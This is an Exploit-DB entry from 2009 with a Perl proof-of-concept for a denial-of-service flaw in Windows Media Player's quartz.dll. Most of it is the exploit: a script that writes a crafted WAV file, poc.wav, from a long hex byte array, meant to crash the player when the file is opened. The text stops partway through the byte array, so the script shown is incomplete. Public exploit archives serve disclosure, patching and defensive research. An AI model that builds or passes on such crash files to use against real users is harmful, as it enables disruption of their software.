Exploit-DB #8467
Description: Microsoft Media Player - 'quartz.dll .wav' Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2009-04-17
Author: Code Audit Labs

Exploit:
#!/usr/bin/perl
# CAL_2_quartz_wav_poc.pl
#
# Two_MircoSoft_Media_player_quartz.dll_wav_remote_Dos_vulnerabilities
# by Code Audit Labs public 2009-04-19
## http://www.vulnhunt.com/
#
#Affected
#========
#test on full updated winxp sp3
#windows media Player 10.00.00.3998 quartz.dll 6.5.3790.4283
#Windows Media Player 11.0.5721.5230 quartz.dll 6.5.2600.5596

#other version should be affected

# CVE: please assign to this a CVE id 
#
##ANALYSIS
#=======
# not provide

open(Fin, ">poc.wav") || die "can't create crash sample.$!";
binmode(Fin);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .
"\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .
"\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .
"\x00\x00\x64\x61\x74\x61\x90\x58\x01\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x01\x00\x08\x00\x0b\x00\x0c\x00\x0b\x00" .
"\x0c\x00\x09\x00\x07\x00\x0a\x00\x0a\x00\x07\x00\x0b\x00\x09\x00" .
"\x08\x00\x0a\x00\x08\x00\x09\x00\x0a\x00\x0a\x00\x0a\x00\x09\x00" .
"\x09\x00\x0a\x00\x0c\x00\x0c\x00\x0a\x00\x0b\x00\x0c\x00\x08\x00" .
"\x0b\x00\x0d\x00\x0a\x00\x0c\x00\x0d\x00\x0a\x00\x0a\x00\x0a\x00" .
"\x0c\x00\x0c\x00\x0d\x00\x10\x00\x0b\x00\x0d\x00\x0c\x00\x09\x00" .
"\x0a\x00\x0e\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00\x0a\x00\x07\x00" .
"\x08\x00\x05\x00\x08\x00\x0b\x00\x09\x00\x0b\x00\x08\x00\x08\x00" .
"\x0b\x00\x09\x00\x07\x00\x08\x00\x07\x00\x09\x00\x0d\x00\x0c\x00" .
"\x0b\x00\x0b\x00\x0a\x00\x0c\x00\x0f\x00\x0a\x00\x0a\x00\x0b\x00" .
"\x0f\x00\x07\x00\x09\x00\x07\x00\x09\x00\x08\x00\x05\x00\x0a\x00" .
"\x0a\x00\x07\x00\x08\x00\x0b\x00\x06\x00\x0d\x00\x0c\x00\x0c\x00" .
"\x0b\x00\x0c\x00\x0b\x00\x09\x00\x0b\x00\x0b\x00\x09\x00\x0f\x00" .
"\x08\x00\x0a\x00\x0f\x00\x0b\x00\x0d\x00\x0a\x00\x0a\x00\x09\x00" .
"\x09\x00\x0d\x00\x10\x00\x0d\x00\x0b\x00\x0c\x00\x0e\x00\x09\x00" .
"\x0c\x00\x0e\x00\x0a\x00\x0b\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00" .
"\x09\x00\x07\x00\x08\x00\x08\x00\x07\x00\x05\x00\x09\x00\x08\x00" .
"\x06\x00\x07\x00\x07\x00\x09\x00\x08\x00\x08\x00\x05\x00\x02\x00" .
"\x02\x00\x02\x00\x04\x00\x06\x00\x07\x00\x0a\x00\x06\x00\x06\x00" .
"\x07\x00\x09\x00\x09\x00\x08\x00\x05\x00\x0c\x00\x09\x00\x09\x00" .
"\x0b\x00\x0a\x00\x0e\x00\x0a\x00\x09\x00\x08\x00\x0a\x00\x0a\x00" .
"\x09\x00\x0d\x00\x0b\x00\x0b\x00\x0a\x00\x08\x00\x09\x00\x09\x00" .
"\x0a\x00\x0a\x00\x0b\x00\x09\x00\x04\x00\x06\x00\x09\x00\x08\x00" .
"\x09\x00\x0a\x00\x07\x00\x08\x00\x06\x00\x08\x00\x06\x00\x05\x00" .
"\x08\x00\x07\x00\x06\x00\x04\x00\x08\x00\x07\x00\x09\x00\x05\x00" .
"\x05\x00\x05\x00\x05\x00\x08\x00\x06\x00\x06\x00\x09\x00\x07\x00" .
"\x06\x00\x09\x00\x04\x00\x06\x00\x04\x00\x05\x00\x06\x00\x02\x00" .
"\x06\x00\x07\x00\x06\x00\x06\x00\x08\x00\x07\x00\x08\x00\x09\x00" .
"\x07\x00\x07\x00\x06\x00\x07\x00\x07\x00\x07\x00\x07\x00\x09\x00" .
"\x06\x00\x06\x00\x07\x00\x05\x00\x06\x00\x06\x00\x06\x00\x07\x00" .
"\x08\x00\x07\x00\x05\x00\x04\x00\x02\x00\x03\x00\x05\x00\x06\x00" .
"\x03\x00\x05\x00\x05\x00\x05\x00\x04\x00\x04\x00\x07\x00\x03\x00" .
"\x04\x00\x02\x00\x05\x00\x05\x00\x03\x00\x04\x00\x04\x00\x07\x00" .
"\x05\x00\x03\x00\x01\x00\x04\x00\x06\x00\x09\x00\xff\xff\x02\x00" .
"\x06\x00\x04\x00\x02\x00\x04\x00\x06\x00\x06\x00\x04\x00\x04\x00" .
"\x09\x00\x07\x00\x09\x00\x08\x00\x06\x00\x06\x00\x05\x00\x06\x00" .
"\x06\x00\x06\x00\x07\x00\x08\x00\x08\x00\x0a\x00\x04\x00\x02\x00" .
"\x06\x00\x06\x00\x07\x00\x09\x00\x07\x00\x05\x00\x05\x00\x07\x00" .
"\x06\x00\x03\x00\x06\x00\x09\x00\x03\x00\x02\x00\x06\x00\x03\x00" .
"\x07\x00\x05\x00\x04\x00\x03\x00\x03\x00\x05\x00\x04\x00\x07\x00" .
"\x05\x00\x03\x00\x04\x00\x07\x00\x07\x00\x02\x00\x05\x00\x06\x00" .
"\x04\x00\x05\x00\xff\xff\x06\x00\x07\x00\x05\x00\x04\x00\x04\x00" .
"\x05\x00\x05\x00\x04\x00\x04\x00\x08\x00\x04\x00\x06\x00\x04\x00" .
"\x09\x00\x07\x00\x0a\x00\x09\x00\x05\x00\x06\x00\x04\x00\x04\x00" .
"\x04\x00\x0b\x00\x06\x00\x06\x00\x07\x00\x07\x00\x07\x00\x08\x00" .
"\x09\x00\x0a\x00\x08\x00\x0b\x00\x08\x00\x0c\x00\x09\x00\x01\x00" .
"\x0b\x00\x07\x00\x07\x00\x09\x00\x0a\x00\x08\x00\x0a\x00\x09\x00" .
"\x08\x00\x08\x00\x0d\x00\x0c\x00\x09\x00\x0a\x00\x05\x00\x05\x00" .
"\x0c\x00\x0a\x00\x0b\x00\x0e\x00\x06\x00\x0a\x00\x08\x00\x05\x00" .
"\x05\x00\x05\x00\x09\x00\x07\x00\x09\x00\x0a\x00\x07\x00\x06\x00" .
"\x05\x00\x08\x00\x0b\x00\x0b\x00\x0a\x00\x09\x00\x08\x00\x08\x00" .
"\x0a\x00\x09\x00\x0c\x00\x09\x00\x0c\x00\x09\x00\x06\x00\x0c\x00" .
"\x09\x00\x08\x00\x09\x00\x0b\x00\x0d\x00\x0d\x00\x10\x00\x0c\x00" .
"\x09\x00\x0b\x00\x0a\x00\x09\x00\x07\x00\x04\x00\x08\x00\x08\x00" .
"\x07\x00\x0d\x00\x09\x00\x09\x00\x0a\x00\x06\x00\x07\x00\x08\x00" .
"\x02\x00\x07\x00\x08\x00\x0a\x00\x0b\x00\x06\x00\x09\x00\x07\x00" .
"\x09\x00\x05\x00\x06\x00\x0c\x00\x06\x00\x0c\x00\x0e\x00\x09\x00" .
"\x0a\x00\x06\x00\x0a\x00\x08\x00\x07\x00\x08\x00\x0b\x00\x09\x00" .
"\x06\x00\x0a\x00\x09\x00\x0a\x00\x08\x00\x0b\x00\x0b\x00\x0a\x00" .
"\x08\x00\x08\x00\x0c\x00\x09\x00\x08\x00\x0b\x00\x0b\x00\x09\x00" .
"\x0a\x00\x0b\x00\x0a\x00\x09\x00\x0b\x00\x0b\x00\x0b\x00\x0c\x00" .
"\x0e\x00\x0c\x00\x07\x00\x0c\x00\x0f\x00\x0d\x00\x09\x00\x0b\x00" .
"\x0b\x00\x0a\x00\x0b\x00\x09\x00\x0b\x00\x09\x00\x07\x00\x07\x00" .
"\x09\x00\x08\x00\x0c\x00\x0e\x00\x0b\x00\x0e\x00\x0a\x00\x08\x00" .
"\x0a\x00\x09\x00\x05\x00\x06\x00\x0b\x00\x08\x00\x08\x00\x09\x00" .
"\x0d\x00\x0f\x00\x0b\x00\x0b\x00\x0c\x00\x0c\x00\x08\x00\x08\x00" .
"\x0b\x00\x09\x00\x0a\x00\x0c\x00\x0f\x00\x0b\x00\x0c\x00\x0b\x00" .
"\x0d\x00\x0d\x00\x0c\x00\x0b\x00\x09\x00\x0d\x00\x0b\x00\x0b\x00" .
"\x0a\x00\x0b\x00\x0e\x00\x0d\x00\x0d\x00\x10\x00\x0f\x00\x12\x00" .
"\x0d\x00\x09\x00\x0d\x00\x0e\x00\x0f\x00\x0d\x00\x0d\x00\x0d\x00" .
"\x0e\x00\x0b\x00\x0b\x00\x0b\x